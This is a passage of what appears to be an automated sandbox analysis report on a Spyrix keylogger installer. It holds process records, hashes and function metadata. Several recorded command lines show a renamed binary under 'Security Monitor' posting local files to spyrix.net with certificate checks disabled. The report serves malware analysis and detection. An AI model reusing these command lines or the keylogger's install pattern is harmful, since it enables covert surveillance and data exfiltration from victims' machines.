Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	70
Start time:	00:12:59
Start date:	02/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1912,i,17144999493896228581,15445594864361974383,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff678760000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	71
Start time:	00:13:00
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_StartButton_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Imagebase:	0x360000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	00:13:00
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	00:13:04
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Monitoring_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Imagebase:	0x360000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	00:13:04
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	00:13:04
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_Run_First_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Imagebase:	0x360000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	00:13:04
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	00:13:04
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe" "Spyrix Free Keylogger 11.6.22"
Imagebase:	0x400000
File size:	2'012'072 bytes
MD5 hash:	C0E67E8723775249CA0AE2C52E7EDD9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000004D.00000000.2580594653.0000000000401000.00000020.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	78
Start time:	00:13:07
Start date:	02/10/2024
Path:	C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe" --insecure -d @app_wizard_Start_C79C6F489015E0BC97F892E357DB7156 https://spyrix.net/dashboard/prg-actions
Imagebase:	0x360000
File size:	3'588'216 bytes
MD5 hash:	D9EA512EE580ECFFEE587A4C3759527F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	80
Start time:	00:13:07
Start date:	02/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	81
Start time:	00:13:09
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 83
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	82
Start time:	00:13:09
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 112
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	83
Start time:	00:13:09
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 121
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	84
Start time:	00:13:10
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 114
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	85
Start time:	00:13:11
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 105
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	86
Start time:	00:13:11
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c exit 120
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	87
Start time:	00:13:12
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq spm.exe" /FO CSV /NH
Imagebase:	0x7ff6ee680000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	88
Start time:	00:13:12
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\find.exe
Wow64 process (32bit):	true
Commandline:	find "spm"
Imagebase:	0x100000
File size:	14'848 bytes
MD5 hash:	15B158BC998EEF74CFDD27C44978AEA0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	89
Start time:	00:13:13
Start date:	02/10/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	TASKLIST /FI "IMAGENAME eq sem.exe" /FO CSV /NH
Imagebase:	0xb60000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	7.9%
Total number of Nodes:	518
Total number of Limit Nodes:	31

Executed Functions

Function 053C6E80 Relevance: 1.7, Strings: 1, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 053C72D5

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 381709744441d5f93cb6af9339be16cec0e6a15a906e2e6962b2c9f32109e203
Instruction ID: c40a397f3368a19a16361906545f9aca629005b5e6d00b2c8e4aec3ea35b80cb
Opcode Fuzzy Hash: 381709744441d5f93cb6af9339be16cec0e6a15a906e2e6962b2c9f32109e203
Instruction Fuzzy Hash: 01120334610644CFCB09EF79C898A99B7B2FFC9305F1486A9D8059F369DB35AC45CB90

Function 053C6E90 Relevance: 1.7, Strings: 1, Instructions: 436
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 053C72D5

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 53f6092ad6481b0c5f757be96f3dca41b22a973340e8f4340e3fb6da293d1537
Instruction ID: d9ad9364c1a246a1ac78290712c6ae6ae16310e7f5bc89d7106711c812791128
Opcode Fuzzy Hash: 53f6092ad6481b0c5f757be96f3dca41b22a973340e8f4340e3fb6da293d1537
Instruction Fuzzy Hash: 8212F334610644CFCB09EF69C898A99B7B2FFC9305F1486A9D8055F369DB35AC45CB90

Function 0A662DF0 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

, xrefs: 0A662E8C

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: bd6fc03396052dc0e1f57294c7a02461c2ffa13c7403957965c6d0dda3774226
Instruction ID: e4be00e80e956ac595bdab3856690084ee80238093496a88b149908614e21ddd
Opcode Fuzzy Hash: bd6fc03396052dc0e1f57294c7a02461c2ffa13c7403957965c6d0dda3774226
Instruction Fuzzy Hash: 6B918E71F00209AFDB18DFB9C8546AFBAFAEFC8210F10852DE415EB340DB3599458BA4

Function 08EB0D98 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96924c21c010663ddc99e81eba347add4b56948907517f3d984bc315f0bcce4c
Instruction ID: 818c5bdad7a70f202edf33ab86d70ba04f0bef3cb8ab425f51db3f5209f7f230
Opcode Fuzzy Hash: 96924c21c010663ddc99e81eba347add4b56948907517f3d984bc315f0bcce4c
Instruction Fuzzy Hash: 29125E31A00609DFCF15DF64C450ADEB7B2FF85310F1186AAE949AB250EB70EA85CF91

Function 0A660040 Relevance: .4, Instructions: 396COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e782f302d0af04c6cecf790f1f265cf859ac083e56605b75e544e4618969f3f0
Instruction ID: bc579e9c5a7a67c2e04b4bcc411bdb21a644d1543a238fb7bf21aef9bd01beef
Opcode Fuzzy Hash: e782f302d0af04c6cecf790f1f265cf859ac083e56605b75e544e4618969f3f0
Instruction Fuzzy Hash: A9F11730A00209DFDB14DFA9C944B9DBBF2BF88314F16C569E519AB3A5DB70A945CF80

Function 0A66A920 Relevance: .4, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3898ae679e710b9a80c1e00f144ed447c4b8b62191171e1e9754b6b8d17351
Instruction ID: 210de15835d99a11f4cf4804a9a68a80c7595dc7f938184232fd581f5bc5e014
Opcode Fuzzy Hash: 5d3898ae679e710b9a80c1e00f144ed447c4b8b62191171e1e9754b6b8d17351
Instruction Fuzzy Hash: E9D188717017009FDB16DBB5C4607AABBF6AF89740F14446ED18AEB391CB35E802CB61

Function 02CBADF0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 02CBB046

Memory Dump Source

Source File: 00000007.00000002.1804479910.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cb0000_[space]= .jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 14fce14dbc111bb670fe2fd16b516dedd9e28eac1eec74cf5b55c79c7c89df34
Instruction ID: 24e065e306ec3fac1cc0a27ded19ae9ae5a57696ab7c50c81e1c76920e161c1e
Opcode Fuzzy Hash: 14fce14dbc111bb670fe2fd16b516dedd9e28eac1eec74cf5b55c79c7c89df34
Instruction Fuzzy Hash: 8F7144B4A00B458FDB25DF6AD04479ABBF5FF88204F108A2DE48AD7A40DB75E945CF90

Function 053CE2E8 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000014,?,?,03EF4118,02F3C3B4,?,00000000), ref: 053CE446

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 101c005ecba205fc21c84e5f7b21b5f01cbfbe6589f34a019115ae8e641e0985
Instruction ID: 50f1010d1aff3b54710acb769bce6e7b82ed09483e4b52ec0e083f05b8a240a1
Opcode Fuzzy Hash: 101c005ecba205fc21c84e5f7b21b5f01cbfbe6589f34a019115ae8e641e0985
Instruction Fuzzy Hash: A0718D74A01208AFCB15DFA9D884DAEBBB6FF48710F114498F902AB361DB71EC91DB50

Function 053C0BFC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 053C4371

Memory Dump Source

Source File: 00000007.00000002.1805535972.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_53c0000_[space]= .jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 25228538e852cdf8e75278603833360bcfef3e592fa0fb137999fae2d57942d4
Instruction ID: ca7c5450544bc4bee64d3e8db1d374abb3797ff1ca4113f1df763b68c5405234
Opcode Fuzzy Hash: 25228538e852cdf8e75278603833360bcfef3e592fa0fb137999fae2d57942d4
Instruction Fuzzy Hash: 3941F9B9900709DFDB14CF99C448BAABBF5FB88314F24849DE519AB321D774A841CFA1

Function 02CB449C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02CB59A9

Memory Dump Source

Source File: 00000007.00000002.1804479910.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cb0000_[space]= .jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 7f753f145f0b1db1ac55ffdc0faaef13f2a643043d4c959495fb54db5bc643bb
Instruction ID: 569a4669690996b28304913cfdb8de60c51dc9e76776714dd3e3f5370f04a222
Opcode Fuzzy Hash: 7f753f145f0b1db1ac55ffdc0faaef13f2a643043d4c959495fb54db5bc643bb
Instruction Fuzzy Hash: D541B170C00719CBEB25DFAAC884BDEBBF5BF89704F60806AD408AB251DB756945CF90

Function 02CB58ED Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02CB59A9

Memory Dump Source

Source File: 00000007.00000002.1804479910.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cb0000_[space]= .jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 971f51c5f5bb8ad00eae79fe4aa779924532ce2b5a432479749db6c40fe81877
Instruction ID: 8cebb7028091608eea3c292d634f8aa5d0f25e0b241162925eb0b9f6f20b1713
Opcode Fuzzy Hash: 971f51c5f5bb8ad00eae79fe4aa779924532ce2b5a432479749db6c40fe81877
Instruction Fuzzy Hash: B741BF70C00719CBEB25CFA9C884BDEBBB5BF89304F20816AD408AB251DB75694ACF50

Function 0A6608D0 Relevance: 1.6, APIs: 1, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 0A66093D

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: d1678b93fa56f4d735943b681083abd71e2b0d35540025c197104b1840c9e222
Instruction ID: a7f62e4de765c4be731d4c29008c97a379efb6c0431c15941af055a768b500de
Opcode Fuzzy Hash: d1678b93fa56f4d735943b681083abd71e2b0d35540025c197104b1840c9e222
Instruction Fuzzy Hash: 473125B6800349CFEB10CF9AD8447EEFBF4AB08324F15846AE558A3641C378A584CFA5

Function 0A66C6E0 Relevance: 1.6, APIs: 1, Instructions: 74
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,0A66D800,03EF4118,02F3C3B4), ref: 0A66D891

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 979e57f207b34f656006b7c655f409993a41095b204622b3ec793d5f92011eac
Instruction ID: b4b29a62b5eeaebd3c8dbac0c9bef68caeb565e00414ce08434cdb9b192a1803
Opcode Fuzzy Hash: 979e57f207b34f656006b7c655f409993a41095b204622b3ec793d5f92011eac
Instruction Fuzzy Hash: A9217A71D00249CFEB11DFAAC844BEEFBF5AB88320F14842AD454A7380D778A944CFA5

Function 02CBC960 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02CBD286,?,?,?,?,?), ref: 02CBD347

Memory Dump Source

Source File: 00000007.00000002.1804479910.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cb0000_[space]= .jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fcc2d74c9d630b18ee9437a64dc709129e99ce5cba9ee0b1f8ac125389c9f08f
Instruction ID: 7382f0c1a3053e86ba9dcdf7923a7f3318700111f4fa849b21b4e6d7a467e3b1
Opcode Fuzzy Hash: fcc2d74c9d630b18ee9437a64dc709129e99ce5cba9ee0b1f8ac125389c9f08f
Instruction Fuzzy Hash: 172105B5900248EFDB10CF9AD584AEEBBF4EB48310F14801AE918A7310C378A940CFA5

Function 08EB6A61 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassInfoW.USER32(?,00000000), ref: 08EB6B14

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 1cf85f9921cd850211074e013f9f3e5c36ea73d2ee6615482a322393fe2e8926
Instruction ID: 42674d33575241136bbe254bceee2207b4e91757a1e6bca41a25b53b50b2b39c
Opcode Fuzzy Hash: 1cf85f9921cd850211074e013f9f3e5c36ea73d2ee6615482a322393fe2e8926
Instruction Fuzzy Hash: 902167B2901A088FDB18CF5AC8447DABBF0EF98315F28C1AED448D7262E735D446CB25

Function 0A66C684 Relevance: 1.6, APIs: 1, Instructions: 62
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,0A66D800,03EF4118,02F3C3B4), ref: 0A66D891

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 244b67f7e701634f4834ff61c5371051a915890060be7ae6ba27185ac7a24396
Instruction ID: d923475f6eac6cbe5084d0da7b3dfcd4456e4048245c158d8fdcf0fd3b33b9f4
Opcode Fuzzy Hash: 244b67f7e701634f4834ff61c5371051a915890060be7ae6ba27185ac7a24396
Instruction Fuzzy Hash: A2213471D00649CFDB10CF9AC844BAEFBF5EB88320F14842AD418A7340D778A945CFA5

Function 02CBD2B9 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02CBD286,?,?,?,?,?), ref: 02CBD347

Memory Dump Source

Source File: 00000007.00000002.1804479910.0000000002CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2cb0000_[space]= .jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e88d88850b5b945f92acf68f18fff9626a82b3517ceec55900749a0ffe723b46
Instruction ID: e3092e9d8ca5c2d3d551de1f75873114f99a681435b24c24498ff892ab695f03
Opcode Fuzzy Hash: e88d88850b5b945f92acf68f18fff9626a82b3517ceec55900749a0ffe723b46
Instruction Fuzzy Hash: F221E2B6D00248DFDB10CFAAD984AEEBBF4EF48314F14841AE918A3350D378A940CF61

Function 08EB6A98 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 08EB6B14

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: fec1a170ad9e62b7bc66c945ce25eb35b029a1133f38984e0ad118529358ab40
Instruction ID: 3320c04ba0de02b7293187a75cd4af01371933136342ed5597b6c21949a0a21c
Opcode Fuzzy Hash: fec1a170ad9e62b7bc66c945ce25eb35b029a1133f38984e0ad118529358ab40
Instruction Fuzzy Hash: 492104B29017499FDB14CF9AD884ADEFBF4FB48314F14802EE418A3350D378A944CB65

Function 08EB6A90 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 08EB6B14

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 5a6d7d6dd5e72f4d17afe140d8b4d9127b9eeb6c13503c62f4121f2b957b3b2e
Instruction ID: 1504ffd50abcff1109a69ffad98fd7dc0cfb77541e1006092c973f013309f557
Opcode Fuzzy Hash: 5a6d7d6dd5e72f4d17afe140d8b4d9127b9eeb6c13503c62f4121f2b957b3b2e
Instruction Fuzzy Hash: D42123B69007498FDB14CF9AD980BDEFBF4FB48214F14802ED458A3250E378A944CF61

Function 0A66D818 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,0A66D800,03EF4118,02F3C3B4), ref: 0A66D891

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 2b177f08a8e905335c40583e3db407ebd0592e90debe9e2049e5d539d3e81b02
Instruction ID: 69cdddfd1ac51761484f5a265fec1c82a0b927da3ae093f72ffd7b70ec51a8ac
Opcode Fuzzy Hash: 2b177f08a8e905335c40583e3db407ebd0592e90debe9e2049e5d539d3e81b02
Instruction Fuzzy Hash: 772102B1D00649CFDB14CF9AC884BEEFBF5EB48320F14842AD458A7290D778A945CFA1

Function 0A660600 Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 0A660670

Memory Dump Source

Source File: 00000007.00000002.1807604958.000000000A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_a660000_[space]= .jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 239b3db68caeea222a9f2b44478b18c9e4d8421770a478935164d35b2d085a59
Instruction ID: c68b45e18f3e56f3bf7776b142f38f41665c970be59351d1eb6c7c044a34e1b7
Opcode Fuzzy Hash: 239b3db68caeea222a9f2b44478b18c9e4d8421770a478935164d35b2d085a59
Instruction Fuzzy Hash: 5111E4B68002499FDB10CF9AD985BDEBBF8FB48310F15846AE558A3351C378A944CFA5

Function 08EB49C0 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32(?,00000000), ref: 08EB4A2A

Memory Dump Source

Source File: 00000007.00000002.1806943298.0000000008EB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08EB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_8eb0000_[space]= .jbxd

Similarity

